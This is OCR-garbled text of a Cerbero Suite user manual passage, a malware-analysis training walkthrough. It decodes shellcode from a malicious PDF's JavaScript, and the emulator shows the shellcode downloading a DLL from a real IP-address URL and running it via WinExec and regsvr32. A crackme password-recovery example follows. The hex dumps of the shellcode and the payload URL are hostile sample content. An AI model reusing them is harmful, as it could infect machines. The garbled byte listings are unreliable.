BB /LR EGEOUsRRe esank BN EE # & SHA2% - (7242E881C796DF5DABBG0CI87B2CO22FOESTE 142607 13FIEIGBO0EACO2DI " ~
=

X

# File Risk Format
1 C\user_manual_samples\pdi_document 100% PDF

 —— P o
Fier. 1 vo; padding; o bub, coc, Gdd, cee, If, gug, Wi o pointers s, i x = o Ammay()ver y = 1oy array(sie:
Tala1a

1910101

Name Risk Group| 1= 3304

U1t oeBseAfcrcaseATso1e05¢ 701c56857 6 74332c8 1ee1510££E 7342485047551 coemicais
' pdf document 100% Doaurl|  651,753c6074 s 1038727 Ga40ebf13b11"
“ 4 Documents Sb03c5abSe58c3eD33adshea2080 ducl)lnlssebf 76205 3c305££36
1ec0401 042472656773c74424047672333267442408202413205 368 £8000000££56
agsbesszuslunmomrwszmm scco 306844140441 76200£1561485¢07516620053££56046a0083eb0C53 L1560
7 3caBasbibcsd619261a257068747470322£2£3132352021
PP 77267068703£66343136266534340000" s vaz
< I > aa=t AcmururawdiuaasmuuuuzsuzmAasunsuaauwsua Td7e804aa1414141 6 11010101
T141416683e4 feTca5e47534 663b5 4332c81e1510£ELT 37342485047551e9eb4c515
533c04941 1030227 0ebr1301E
Threats 70c33740396 76205 3c305££e35
'@ Javascript Code 26c6d54££168 1ec0401 LA 2 A S 000
Tnformation 0cBbed33co51c744140077706274CT44 sccs 308844140441 76200£1561435¢0751 03
; st 3 1oe
O Metadata: Mediainfo 32312 2 3 S2£77267060703£663d31 3626534340000 5_L3

(daknote, 0%2000-

Im

_17(.18, 19)

)_14[1]=loxNhes. substr (0, loxiihee . Length-1) +dakRote; }

+length; i+=2)
length;_16+

10884) 5 110-
W/ /7)) 5 St J6e 39+ 1108 357 1 12. 1engeh
) Tkt T T e (1T T 11 F0 6 s, raatees 1111 330

[ [Enter eychon cods here [focus with Cerlialir.]
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execute the JavaScript beautifier action to make it readable.

Installed Editor

[T] Show disabled actions

‘F\lterm

‘Conversion
Base64 to Bytes
Hex String to Bytes
Text to Bytes
Emulate
Emulate Batch Script
JavaScript
Beautify JavaScript
Debug JavaScript
Execute JavaScript
Open New JavaScript Editor
JSON
Indent
Online
Download Chrome Extension
Download Malware Sample by Hash
Download Multiple Malware Samples by Hash
HybridAnalysis Search v

We can spot two strings in the JavaScript code that look like shellcode.

File Navigation Actions Views Tools Help
-

RER /DO OGEO0sRb& e ax & BN EE# ¢ Hllisws -
=
# File Risk Format.
1 Ciluser_manual_samples\pdf_document 1000 eor
4 Analyss Davascrpt Code] 0E Edeor. ok Text view 1 a

.. e 5
Name Risk: Groug g . eee, fff, ggg, hhh;
4 pdf_document 100% Docun ;.

4 M Documents 5 v

: N

Threats
'@ Javascript Code
Information R i N ) B N
@ Wetadata: Mediainfo +4c20600£a563604a3c20 142901£8042309084427d7<804241414141260¢ 00071 £00040000414141414
etadata: Medialnf 141414166834 FercasedT 0cen70 é 74332c61ee1510£ £ 90675£087342485047551e0e
bic5156ap753cEE74 3£53334941 £cad03 0£be1038£27408c1cb0d03da40ebE13b1 " £5a2¢

6320807d03374
BSe1083c305£ £e36B6£6200006875726c6d54££1683¢4088b8eB6LEEE 1 £eb02eb7281ec040100008d5c240¢c
473205368 £8000000£F560c8be332¢351c7441d0077706274¢74414052264 6c6cC6441d09005932c104 308441

£56046200832b0CS3EE5G04B3C30ceb02eb1 34TE03E00T5£24TROIE00 2
61a2£706874747 13231 3138

73¢744240476723332¢7442408202
620053576200 756146500751 66,

77227068703£663d31362 000°;

Array();

Fier. 150

16 = _13.viewerversion.zostring();
16.Teplace ("', '

is Ul dength < 4) 16 4= 0%
16 ictin parsetnt( 16, 107

17)

18 © 17( 18, 19) A

Enter Bython code here (focus with Ctrl+nlts.)
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We use the 'Hex String to Bytes’ action to convert one of the strings into bytes.

Execute Action... - Cerbero Suite 7.5

Instaled

Fiker....

Editor

[T] Show disabled actions

Configure

Conversion

Baseb4 to Bytes

Hex String to Bytes

Emulate

JavaScript

JSON
Indent
Online

Text to Bytes
Emulate Batch Script

Beautify JavaScript

Debug JavaScript

Execute JavaScript

Open New JavaScript Editor

Download Chrome Extension

Download Malware Sample by Hash
Download Multiple Malware Samples by Hash
HybridAnalysis Search

Cancel

Now, we add the decoded data as a root object to the report. This allows us to save our
findings and, if desired, disassemble the shellcode using Carbon.

00000000

n £ an - 63
Copy ol

Edit 1

- 41
Position 4 .
Find * 176
Select N ©

. E4

View ' lEs
Print ' | DB
Screenshot v | 3B

EC

Layout * |59
Duplicate View Ctrl+Shift+D E:

~ To Text View Ctrl+Shift+T co

) 6E

7/ Filter... Ctrl+T E3
|L._‘ Add Selection as Root Object SC
33

44 24 08 20 2D 73 20 33 €8

F8 00 00 00 FF

We enter the name for the root object and do not select a file format.

Select a format... - Cerbero Suite 7.5

—oEN

Name: [shelcode]

Format Description File extensions ol
* Unknown
7z 7z Archive 7z
ABC ABC File
ACODESIGN Apple Code Signature
ACTIVEMIME ActiveMime Container
AR AR Archive ar, lib, deb, a
AXML Android Binary XML
BMP Bitmap Image File bmp v
Fiter.
Cancel

© 2025 Cerbero Labs
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By opening the root object, we can see that Cerbero Suite has already detected the data
as potentially shellcode, and we can observe a URL in the hex view that is likely the
URL of the payload.

File Navigation

WEE

Sl T s DU G e €0 ek s BN D G 060 A% 463500 O IFGISTOACOSA0S CROAAIOATA0D

Actions Views Tools Help

| 1B
# File Risk Format
1 C:\user_manual_samples\pdf_document 100% POF
2 shellcode o@® 2
[a aysis [shelcode) @ B Edtor FEIE Text view 1 CEED From hex strng ]

Fer. " )

® rexc || fal overview
(B % v | e

Offset | 0 1 2 3 4 5 6 7 8 95 A5 CDEF ascIz ~

Shleade (I | oouo00c0 | 5o 66 80 5B 5c 03 74 33 20 81 B8 15 10 FF FE B8 | L£.03,eoe

00000070 83 40 30 C3 46 39 06 75 FE 87 34 24 85 B4 75 51 .00.F9
00000080 ES EB 4C 51 56 8B 75 3C 6B 74 35 78 03 FS 56 8B ..LQV.
00000090 76 20 03 ES 33 C3 49 41

00000020 10 38 F2 74 08 C1 CB 0D
000000B0 B6 5B 8B SE 24 03 DD 66
000000C0 | 24 OC 8B DE 03 DD 8B 04

00000000 53 AD 8B 68 20 80 7D OC

s Possible Shellcode Detected 00000100 55 8B EC 8B SE 10 83 C3

" 00000CE0 08 85 F7 6 05 59 E5 98
farmings 000000F0 | 00 00 58 50 6A 40 68 FF

00000110 68 75 72 6C 6D 54 FF 16
00000120 FF FE EB 02 EB 72 81 EC
00000130 | C7 04 24 72 65 67 73 CT 4
00000140 | 48 24 08 20 2D 73 20 53
00000150 83 E& 33 €9 51 C7 44 1D
00000160 05 28 64 6C 6C C6 44 1D
00000170 43 1p 04 41 51 6A 00 6A
00000180 85 CO 75 16 GA 00 53 EF
00000190 EF 56 04 83 C3 0C EB 02
00000120 47 80 3F 00 75 C4 €A 00
000001B0 | FF FF 8B 4E OE EC 98 FE

_[..Ey6. /phttp:.
WFer. 00000100 | 2E'31732'39°28 3132 31 '25'32133 31 28 31 38 3§ /129.121.231.188

Enter Bython code here [focus with Corl+alts.]

000001CO | BA SB 1B C6 46 79 36 1a

000001E0  2F 64 61 74 61 2F 48 6F 6D 65 2F 77 2E 70 68 70 /data/Home/w.php
00000170 | 3¢ 663D 31 36 26 65 3D 34 00 00

Cursor: 1F8 Selection: 1CA Sze: 2F

At this point, if you have a personal license, you can utilize the ShellcodeToExecutable
action to convert the shellcode into an executable and debug it using a debugger. If you
choose to do so, ensure that you are running it within a virtual machine.

& x
Options

Entry point (hex) 0

|Machine |Inte| 386

Output file C\Users\h\Desktop\shellcode.exe
Open with... (optional)

With Chapps\x64dbg\x64\x64dbg.exe

Arguments %1

e

If you have a commercial license, you can continue the analysis using the Silicon Shellcode
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Emulator.

Instaled Edicor

[] Show disabled actions Configure

‘F\lter ‘

String Decrypter ~
Data
Entropy
Find Strings.
Magic Information
Debug
Shellcode to Executable
Emulate
Emulate Windows shellcode
JavaScript
Debug JavaScript
Execute JavaScript
Open New JavaScript Editor
Online
Download Chrome Extension
Download Malware Sample by Hash
Download Multiple Malware Samples by Hash
HybridAnalysis Search

In this case, we’ll be using the emulator because it is easier and requires less care.

We select the x86 architecture and a memory profile.

Emulator
Architecture:
Memory profie
Name

Task Explorer_x86

Open folder
Shellcode

Disassembly | Data
0x00000000  4c dec esp ~
0x00000001 20 60 OF and byte ptr [eax + 0xFl, ah
0x00000004 05 17 80 4A 3¢  add eax, 0x3C4R8017
0x00000009 20 60 OF and byte ptr [eax + 0xFl, ah
0%0000000C  OF 63 80 42 A3+ packsswb mm0, quord ptr [eax - Ox7F145CB6]
0x00000013 42 dec edx
0x00000014 30 20 xox byte ptr [eax], ah
0x00000016 B2 43 6E 2F or byte ptr [edx + 0x6E], 0x2F
0x0000001A B0 4A 41 41 or byte ptr [edx + 0x41], 0x41
v

Base address.

The address at which to map the shelcode: |Optional

At the beginning, the shellcode contains an MMX instruction that isn’t supported by the
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emulator. We manually step (F7) until we reach that instruction.

File Debug Actions Views Help

FHBEIEECQ &> 23S
I=

Gxoo0zz000 4 @ e o1 (0] Eax sc4a807
Gxoo0sz001 20 60 0 wd  bybe ptr (sax + 0xFl, an 1c] (p] Eex 00000000
0X00022004 05 17 80 4 3 add  ewm, GicEAROLT (c1 (0] £5x 00000000
Gxo00z2008 20 60 07 wna  byte pix [eax + 0xFl, an C] (D] EEX 74601380 -> API:USERSZ.Updateiiindow

> 0x0002200C  OF €3 80 42 A3+ packssub miO, quord pr leax - 0X7F145CBE] o1 (0] s5z oo1epas
oxoo02z013 4 o e (€] (o) 527 covevmrc
Gxooozacia 50 20 xor  byte ptx fexxl, m (€101 £5: OoeaEsse
Cxo00z20ie o2 4n mar  on byte ptr [edx + Oxex], Ox2F 61001 E0z ooeaEsse
Ox000z0in f0 4n 4 er brte pr ok + oin), oxat
oxonozz01z 41 e eex (e1(01 512 0002200¢ (BATLOND)
Gxooozzoir i1 e .
0x00022020 26 00 00 Md byve ptr esitean), a1 =r1 00000246 (e, zE, 1)
oxo0022023 00 00 Saa myee por fema, 5
Gxo0022025 00 00 aad nyte per feaa, al
Cx00022027 00 00 22 bybe pir [aa, a1
Gxo0022025 00 00 W4 brve pir femd, a1
Gxoo0zzczs 0o 00 aad  myte per fead, al
Gx00022020 G0 00 aa byte ptr femd, al
Oxo00022028 00 12 add byte ptr feax, Al
0x00022031 39 90 43 64 20+ cmp  dword prx feax + 0x60208443], sax
Gx00022097 o 00 04 00 siee  we e+ oax
Cxoo0z205m 00 41 41 Daa Dyke per e+ owin, a
oxovozaoss 4
Gxooozoer i1 ine
Gxooozzodn i ine
oxooozzoas i1

info: input data mapped at address 0x00022000 offssc | 0 1 2 3 4 5 6 7 8 5 A B CDEF asciz ~

00022000 | flc 20 60 OF 05 17 80 4R 3C 20 60 OF OF 63 80 4R L
00022010 | A3 EB £0 4A 30 20 82 4A  GE 2F B0 4A 41 41 41 41

00022020 | 26 00 00 00 00 00 00 00 00 00 00 00 0O 00 00 00

00022030 | 12 30 80 4A 64 20 60 OF 00 04 00 00 41 41 41 41 AR

00022000 41 41 41 41 66 33 E4 EC EC 85 EA 75 34 ES 5F 33 AAAAL......uf._3

00022050 | CO 64 €5 40 30 35 40 0C 85 70 1C 56 €5 76 06 33 .d.00.8..p.v.v.3 v

Cursor: 22000

Enter debug command (h for help) [focus with CLrl+Alt+.]

=

We then edit the value of EIP to skip the instruction.

0%00022009 20 60 OF ana byte ptr [eax + Oxf], ah [C][D] EBX 746D1BEO -> API:USER32.UpdateWindow
=> 0x0002200C  OF 63 80 4A A3+ packsswb mm0, qword ptr [eax - Ox7F145CB6] [C][D] ESE 0018DBE3

0%00022013 4z dec edx [c][D] EBP 0018DBFC

0x00022014 30 20 xor byte ptr [eax], ah [C][D] ESI 0063F558

0x00022016 82 4A 68 28 or byte ptr [edx + Ox6E], Ox2F [C][D] EDI 0063FS558

0x0002201a 80 4a 41 41 or byte ptr [edx + 0x41], Ox4l

0x0002201E 41 inc ecx [C1[D] EIF 0002200C (PAYLOAD)

0x0002201F 41 inc ecx

0x00022020 26 00 00 add byte ptr es:[eax], al EFL 00000246 (PF, ZF, IF)

0x00022023 00 00 ada byte ptr [eax], al

0%00022025 00 00 ada byte ptr [eax], al

0%00022027 00 00 ada byte ptr [eax], al

0%00022029 00 00 ada byte ptr [eax], al

0%00022028 00 00 ada byte ptr [eax], al

0%0002202D 00 00 ada byte ptr [eax],

0x0002202F 00 12 add byte ptr [edx],

0x00022031 39 80 4A 64 20+ cmp dword ptr [eax +

0x00022037  OF 00 04 00 slat word ptr [eax +

0x0002203B 00 41 41 add byte ptr [ecx +

0x0002203E 41 inc ecx

0x0002203F 41 inc ecx

0x00022040 41 inc ecx

File Debug Actions Views Help
/P EGEOU &> S
{
o oxooo2zim> e oot rrr il oxezodz 1c1 (0] Eax 00000020
0x00022182 10 64 5 76 E0+ ade  byte ptr [edx + edi + OXSDAFEOTEI, al (€101 £cx 00000001
Gxooozaims 76 00 b oxzsizs {1 (0] EDX 00000000
Cxoooseien 74 %o 3 oxzaien €] (0] BB 0018DAEA -> STR:C:\Users\Ed\AppData\Local\Senp\pbto. 411
Gxooozaiss 76 50 Ibe oxzzz0 (c1(01 55# oo18DADE
Gxooozatmr oz oo 5 c1 (01 53¢ 0000001F
Gxoo0zzico o8 76 40 Gp  est, dvord ptr [est + 0x40) 6] (o) P51 00G221ms (eATIOND)
oxovozaica 7z 3 = it (c1001 55z 000221%A (PATIOND)
Gxooozaics 76 20 he oxzzi77
Gxooozicr  oc 66 - ol oxse te1101 Bxe 00022180 (eAvEORD)
oxooozzics 73 8 Jae
Gxovozaics 74 74 30 oxzzze1 s51 oo0o0246 (e, 28, I
Gxoo0zico 70 o 3 ox22205
oxooozaice 2 e
oxooozaion 2 Ges
0%000221D1 31 32 xor dword ptr [edx], esi
Cxoo0z103 55 2% ow  dword pte [esl], ebp
ouooozaios 31 32 xor  avord ptr fedx), s
Gxoo0zaior 51 2x xor  aword ptr lesi), abp
0%000221D9 32 33 xor dh, byte ptr [ebx]
oxooozzios 31 2= xor  awera per (esi), ebp
Gxooozaion 5 58 xor  avord ptr feax), edi
Cxooozior 36 or Gp byve phr [sdil, oh
info: input data mapped at address 0x00022000 offser | 0 12 3 45 6 7 =
B2L: vircus) size:0xre, - o coc22000 | e 20 60 0 05 27 80 48 n
Similated ASI: Loadlibrasya(urimon®) = OK o B e e
Cimilated AP CorTemppathA() < OF S a0z
: leA(url:"http://129.121.231 -PhP? | 00022030 | 12 33 B0 4A 64 20 60 OF
£=16ke=4", file:"C:\Users\Ed\AppData\Local\Temp\wpbt0.dll") = OK 00022040 | 41 41 41 41 €6 83 E4 FC
simulated ASI: -dll®) = ox 00022050 | CO 64 8B 40 30 8B 40 OC
g -s C: -d11") || 00022060 | DB 66 8B SE 3C 03 74 33
= 0% B 00022070 | 8B 40 30 C3 46 39 06 75
similated API: TeminateThread() = PRUSED 00022060 | ©9 Z3 AC 51 56 83 75 3¢ 8R4 35 78 03 F5 56 83 ..1QV.uc.i5%..7. "
Curor 72000
[Emistor_~] [nter debug comand (h for help) [focus with CorlvAlor.]
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The output view shows all the APIs the shellcode called and their arguments.

= Output -
info: input data mapped at address 0x00022000

simulated API: VirtualProtect(addr:0x220F2, size:0xFF, flags:0x40) = OK
simulated API: LoadLibrarya ("urlmon"™) = OK

simulated API: GetTempPathZ() = OK

simulated API: URLDownloadToFilea (url:"http://129.121.231.188/data/Home/w.php?
f=16se=4", file:"C:\Users\Ed\AppData\Local\Temp\wpbt0.dl1l") = OK

simulated API: WinExec ("C:\Users\Ed\AppData\Local\Temp\wpbt0.d1l1l") = OK
simulated API: WinExec ("regsvr32 -s C:\Users\Ed\AppData\Local\Temp\wpbt0.dll")
= OK

simulated API: TerminateThread() = PAUSED

The URL we saw earlier in the hex view was indeed the URL of the payload.

2.4 PORTABLE EXECUTABLE ANALYSIS

If you have followed our analysis up to this point, you should have already gained more

confidence using Cerbero Suite.

The previous sample we presented was the most challenging of this quick start guide. In
this section, we’ll analyze a simple crackme to introduce you to the Carbon disassembler.

As a feature of Cerbero Suite, Carbon is a swift and efficient disassembler that often
suffices for comprehensive analysis without the need to resort to external tools like Ghidra

or IDA Pro.

To follow along with this analysis, ensure that you have installed the x86 Decompiler

package.

By clicking on the 'Native Code: x86” entry in the summary view, we are presented with

a Carbon disassembly view.

CODE XREF: 0%0040122D
Name

4 portable_executable
nnnnnnnnnn
" Configuration File 1 lang:1033]

sub_401805

ENTRYZOINT
sub_a01681
loc 401231

CODE XREF: 0x004014CF

t
&

L Suromary ax Lo
& ebp
& bp,

Intrinsic threats
& Native Code: x86.
[2

esp
call  dword ptr [0x402014]
1

nnnnn \gs
s Metadata

5 Format
er.
1 Dos Header
H Rich signature
4 1 Nt Headers .
H File Header bos
4 14 Optional Header te
14 Data Directories =

CODE XREF: 0x004013¢6

0xC0000409
call  sub 401318

8

4 Section Headers
i Import Directory. || Aderess: 0x00401380 - Done

portable_executable] - Cerbero Stite 7.5 - o
e Navigalion' Acions Views Took Help
W EE 2 B CUd AR« e ank BN EE # 6| 08 wss ) @50
. Roots. & x Output L]
‘ e R i rorer cazbon: analysis finished in 0.0 seconds
1 C:\user_manual_samples\portable_executable 0% PE
oty 501 . Ay (e Coder 061 =
o - b
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We can navigate to places of interest such as strings using the navigation menu.

- text:0x00401390 Edit Bytes E

-text:0x00401390 loc_401380:

.text:0x00401390 call  sub_4018D5 Goto... 4 Go to Address... G
-text:0x00401395 ret Find B

- text:0x00401396 S R Back Esc
.text:0x00401396 _start: 5 Follow Return
-text:0x00401396 call  sub_401681 Flagged Locations »

-text:0x00401398 jmp  loc_401231 . Entry Point Ctri+1
.text:DxDlMO;.;Ag Open Memory View Ctrl+Shift+M i &
_text: A .

_text:0x00401380 EsE TElD Import Ctrl+3
.text:0x004013A0 sub_4013A0 proc start Load Debug Symbols... ~ Ctrl+D Export Ctrl+4
-text:0x004013a0 7 Fiter... Ctrl+T S Ctrlss
- text:0x004013a0 push  ebp p -

taxt:0x004013A1 mov  ebp, esp Ox Open in Hex Editor Label Ctrl+6
-text:0x004013A3 call dword ptr [0x402014] -> E— »|  Module Ctrl+7
_text:0x004013a9 push 1 P Region e
-text:0x004013a8 mov  dword ptr [0x4033541, eal  view >

-text:0x00401380 call  sub 40180C —> crt debug .| Go toXRef Origi Ctrl+X
. text:0x004013B5 push dword ptr [ebp + 8] 2L e ik
-text:0x00401388 call sub 401912 -> _ crtunhan|  Settings 0 fo Flagged Location... ik
- text:0x0040138D emp  dword ptr [0x4033541, 0 o CtrlLeft
-text:0x004013C4 pop N
.text:0x004013C5 pop  ecx Next Word Ctrl+Right
- text:0x004013C6 jne  loc_401300

Through the list of strings, we can quickly locate a place of interest.

Fiter
Address Module Text X
00402034 portable_execu. :$
00402038 portable_execu.. HS$
0040203¢ portable_exect. T$
00402110 portable execu.. Enter the password:
00402128 portable_exect. %2555
00402144 portable_execu.. Access denied.\n
00402130 portable_exect.. Access granted.\n
00402108 portable_execu.. 808
00402014 portable_exect. z%
00402048 portable_exect. v$
00402018 portable_exect. 3%
00402040 portable_exect. '$
00402044 portable_exect. 3$
00402030 portable execu.. &%
00402074 portable execu.. §% e
ok || cancel || Refesh

By selecting the string, we are brought to its location in the disassembly.

File Navigation Actions Views Tools Help
WEE & 5@ 7 ws 00 @ ke €9 e s BN DI # &) 0% 512 - 43580194E208940036353433A11B8BBBIAFFISAFADDEI2ME2A1658C210. -
&
# File Riskc Format carbon: analysis finished in 0.0 seconds
1 Giluser_manual_samples\portable_executable 0% vE
a :386] s x
= rdata:0x00402108 ~
Name rdata:0x00402108 loc_802108: AT 0x004014cA
rdata:0x00402108 35 '8
+ | portable executable rdata:0x00402108 30 0
4 a4 Documents data:0x00402108 40 '€
B jon Fil . rdata:0x00402108 00
Configuration File 1 lang:1032] || -Z4252:0x00402108 00
rdata:0x00402100 30 0
zdata:0x0040210E 40 '¢
rdata:0x00402108 00
< > || -xdata:ox00402110
rdata:0x00402110 loc_802110: oaTa xmer: oxodeo0sE
Usmmay e 1o
insi 6z m
4 Native Code: x86 rdata:0x00402112 73 't
= rdata:0x00402113 65 ‘e
Warnings rdata:0x00402114 72 '
s Metadata rdata:0x00402115 .
rdata:0x00402116
rdata:0x00402117
rdata:0x00402118
rdata:0x00402113
lFer
' Dos Header ~|| -zdata:oxo0s0z11c
. rdata:0x00402110
13 Rich Signature rdata:0x00402118
4 1 Nt Headers rdata:0x0040211F
4 File Header rdata:0x00402120
4 {4 Optional Header rdata:0x00402121
rdata:0x00402122
13 bata Drectories casta oxo0s02123
4 Section Headers ©
it Import Directory || Aderess: oxo0402110 - Done
Enter Python cods here [focus with CorlsAltr.]

From there, we can double-click on the cross-references to jump to the code locations
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that reference it.

jigation Actions Views ToolsHelp

REE e uE U4 s €9 e e BN DI # & 0% 26 - 4358COESAE26BIA0D363534330118384B87AFFSAFADDE22AE2A91658C210 " ~
=
» File Risk Format carbon: analysis finished in 0.0 seconds
1 G\user_manual_samples\portable_executable 0% PE
Y Code: x86]
e ext:0x00401070 sub_401070 proc start
ame taxt:0x00401070 ; cope xwaF: 0x00401329
texti0x00401070  push ebp
“ i portable _executable ‘text:0x00401071 mov. ebp, esp
+ 4 Documents text:0x00401073  sub  ssp, Ox20C
N . ; exti0x00401079  mov  eax, duord ptr [0x403000]
Configuration File 1 [lang:1033] text:0x0040107E or .
©axt:0x00401080  mov  dword per (sbp - 41, sax
text:0x00401083  mov  byte ptr [ebp - OxC], OxES
text:0x00401087  mov  byte ptr [ebp - Oxa], 0x57
< > || - text:0x00401088 mov. byte ptr [ebp - OxA], 0x67
text:0x00401097  mov  byte ptr [ebp - 51, OxEF
Ik mov  byte ptr [ebp - 81, Ox57
insic mov  byte ptr [sbp - 7], OxDF
@ Native Code: x36 text:0x00401095  mov  byte ptr [ebp - €1, 0
o text:0x0040109F  push  0x402110 : "Enter the password: *
L ‘text:0x00401084 call dword ptr [0x402090] -> printf
s Metadata ‘text:0x0040108A add esp, 4
text:0x00401000  les  aax, [ebp - 0x10C]
text:0x00401083 push eax
text:0x00401034  push  Oxd02128 2858
texti0x004010m9 call dvord ptr [0x402094] -> scant
aad  esp, ©
Iﬁler ‘text:0x004010c2 lea ecx, [ebp - 0x20C]
1 Dos Header || text:oxoosotoce  push ecx
B oo texti0x004010c9  lea  edx, [ebp - 0x10c]
1 Rich signature ‘text:0x004010CF push  edx
“ B Nt Headers text:0x004010D0 call  sub 401000
H File Header text:0x004010D5 add  esp, &
4 14 Optional Header texti0x00401008  lea  eax, [ebp - 0xC]
text:0x00401008 push eax
. u Data Directories ‘text:0x004010DC lea ecx, [ebp - 0x20C]
£ Section Headers
it Import Directory | Adress: 0x0040109F - Done
Snter Python code here [focus with Corlsalte.]

We press Tab to decompile the code.

File Navigation Actions Views Tools Help

WEE o me Dl dme® €9 on e BN IE # & 0% S | 4250C094E260940036352423A1 1BGB4BS7AFFISAFADDER24E2A91650C210 1 ~
=
# File Risk Format carbon: analysis finished in 0.0 seconds
1 C:\user_manual_samples\portable_executable 0% PE
a ayss de: x36] o= Decompier [Natve Code: x86] o
ke nke_t austack_210 (25

Name unks_ austack_110 [25¢
wnks_t uStack_10;
+ @ portable_executable.
“ i Documents
" Configuration File 1 (lang:1033]

Lint3z ¢ ustach 87

< >
uStack B = *(uint32 t 4)0x403000 A (uint32 t) sstackOnEEEEEeLe;
oxe8
Intrinsic threats 57
& Native Code: x86 x67
Warnings d = “z:’
s Metadata e
X ;
(*_printe) ("Enter the password: ") ;
(*scanf) ("42555", austack_110)
b 110, auStack 210);
i ivazl = (_stromp) (austack_210, eustack_10);
... it (vart == 0)
1 Dos Header ~ (*_prints) ("Access granted.\n") ;
1 Rich Signature L
‘B (-_prints) ("Access denied.\n");
4 13 Optional Header sub_4011120);
14 Data Directories Fetum;

[ Section Headers ¥
it Import Directory o | Line: 23 Corm: 47
Entez Python cods hers [focus with CorltAler.)

We use the N key to rename variable and function names.

ustack_8 = *(uint32 t *)0x403000 ~ (uint32 t)sastackOxfffffffc;

ustack_10 = OxES;
ustack_f = 0x57;
ustack_e = O0x67;
ustack_d = OxEF;
ustack_c = 0x57;
ustack_b = OxDF;
ustack_a = 0;
(*_printf) ("Enter the password: ");
(*_scanf) ("%255s", user_input);
derive password(user_ input, processed input);
ivarl = (*_stremp) (processed input, &usStack 10);
if (ivarl == 0) {
(*_printf) ("Access granted.\n");

}
else {
(*_printf) ("Access denied.\n");
}
sub_40111E();
return;
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Once we have renamed things, the code becomes easier to read:

1. The user is prompted to enter a password.
2. The user’s input is processed in some way.
3. The output of that operation is compared to a string declared on the stack.
4. If the strings match, the password is accepted; otherwise, it’s rejected.

We enter 'the derive_password’ function in the decompiler.

derive password( param 1,
{
ivarl;
istack_c;
ivarl = (*_strlen) (param 1) ;
(istack_c = 0; istack_c < ivVarl; istack_c = isStack_c + 1) {
*( *) (param 2 + istack_c) =
((( Y (( ) *( *) (param 1 + istack c) << 3) |
*( *) (param 1 + istack_c) >> 5) * 0x7F) + 3;
}
*( *) (param_2 + ivarl) = 0;
}

Since we know that the function takes two strings as arguments,

prototype using the Y key.

we can change its

Change Prototype - Cerbero Suite 7.5

void __stdcall derive_password(char *input, char *output])

We also rename the variables in the code.

) (( )input[i] << 3) | input[i] »>> 5) * Ox7F) + 3;

derive_password ( *input, *output)
{
len;
i;
len = (*_strlen) (input);
(1 =0;i<1len; i=1+1) {
output[i] = (({(
}
"\O';

output[len] =

The code is now easy to understand, and we want to use the algorithm to decrypt the

string declared on the stack.

. text:0x00401070
.text:0x00401071
.text:0x00401073
.text:0x00401079
.text:0x0040107E
. text:0x00401080
. text:0x00401083
.text:0x00401087
.text:0x0040108B
.text:0x0040108F
.text:0x00401093
.text:0x00401097
.text:0x0040109B
.text:0x0040109F
.text:0x004010n4
.text:0x004010a2
.text:0x004010AD
.text:0x004010B3
.text:0x004010B4
.text:0x004010B9

© 2025 Cerbero Labs

ebp

ebp, esp

esp, 0x20C

eax, dword ptr [0x403000]
eax, ebp

dword ptr [ebp - 4], eax
byte ptr [ebp - 0xC], OxES
byte ptr [ebp - 0xBl, 0x57
byte ptr [ebp - 0xa], 0x67
byte ptr [ebp - 91, OxEF
byte ptr [ebp - 8], 0x57
byte ptr [ebp - 71, OxDE
byte ptr [ebp - 6], 0
02402110

dword ptr [0x402090]
esp, 4
eax, [ebp - 0x10C]

eax
0x402128
dwoxd ptxr [0x402094]

28



We open a new Python editor using the Ctrl4+Alt+P shortcut or the ’Views’ menu and

write the following Python code to decrypt the string.

password = bytes ([0xE8, 0x57, 0x67, OxEF, 0x57, O0xDF])
decrypted = ( (password))

i ( (password)):
b = (password[i] - 3) =~ Ox7F
decrypted[i]l = ((b >> 3) | (b << 5)) & OxFF

("Decrypted password:", decrypted.decode("ascii"))

Running the script in the editor (Ctrl+E) will display the password of the crackme in

the output view.

= Output &8

Decrypted password: Secret

As you have reached the end of this chapter, we hope that the examples provided have
demystified the initial steps and sparked your curiosity about the deeper functionalities
of Cerbero Suite. Remember, these examples are just the beginning. As you become
more familiar with the tools and techniques demonstrated, you’ll uncover even more
powerful ways to enhance your cybersecurity and forensic analysis. Continue exploring
the subsequent chapters to fully harness the capabilities of Cerbero Suite and transform

your analysis techniques.
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MAIN WINDOW

The initial interface of Cerbero Suite, known as the main window, serves as the founda-
tional launchpad for all core activities. It is here that users begin their journey, whether
it’s to analyze files, access various tools, manage and install plugins, or configure and
update the suite itself. This central hub streamlines your workflow, ensuring that all
essential features are just a click away.

Cerbero Suite = =
By Fie Scan + Y ™ Diectory Scan *
m Start. Recent History: Recent History:
N C:\Windows\System32\kerne32.dI . C:\Windows\assembly
€Y system sean Gs C:\tmp\SOFTWARE m C:\Windows\Systemn32
=5 C:\tmp\shelcode C:\Program Fies.
E, C:\tmp\certexel
RS} Extensions
Y -
E Store Recent History:
C:\Windows\System32\ntdl.dl N
@ T ()X C:\Windows\System32\ntoskmlexe j Drop a fie here...
$ g S S
ANALYSIS ~
@ About “{) Perform a scan on a file or open a project ¥ Recent Hstory i«
it Perform a scan on a directory or open an unpacked project ¥ Recent History 4
4 Perform a full disk or custom scan w
DEBUG
&5 JavaScript Debugger w
f Silicon Shellcode Emulator w
EDITOR
X Hex Editor ¥ Recent History w
Python Editor ¥ Recent History W
MEMORY
¥ Perform a scan on a raw memory image w
MISCELLANEOLIS hd
Filter...

3.1 LICENSE REGISTRATION

Registering Cerbero Suite should be the first step to fully utilize the software, as certain
features, like accessing Cerbero Store and receiving updates, are not available without it.
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Enter your license information via the ’About’ section to complete this essential setup.

X©EE DD

€

Cerbero Suite - [UNLICENSED] ==

Cerbero Suite %

Cerbero Sute 7.4.0
start % ©2024 Cerbero Labs.
Alrights reserved
System Scan
Enter lcense...

Extensions.

5 Enter license - Cerbero Suite - [UNLICEN...
tore

Name: |

Update. Key:

Settings oK Cancel

About

Version 7.4

- added YARA Ruies package

- added edting of macOS process memory.

- added DOtNET ManifestResources Format package
- added FLIR Format package

- added fiters to hierarchy and format views

- added scan extension informaton to ive scans

- added documentation for the SQLte3 modue

- expanded Python SDK

- updated YARA to 4.5.0

- various bug fixes and improvements

Version 7.3

Once you’ve entered your license information, you will be prompted to activate it.

Activation - Cerbero Suite - [UNLICENSED]

Thank you for entering your license!

The next step is to activate you license. If you have an internet connection, just click on
‘Activate’.

If that is not the case, click on 'Manual activation' to activate your license from another computer
with internet connection.

Activate Manual activation Later

You can activate your license either automatically or manually. For
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visit the activation page and follow the instructions provided in the dialog.

Activation - Cerbero Suite - [UNLICENSED] n

1) Go to https://store.cerbero.io/activate/
2) Enter the folowing UID and Activation Code along with your license key in the form on the web
page.

uID: ]
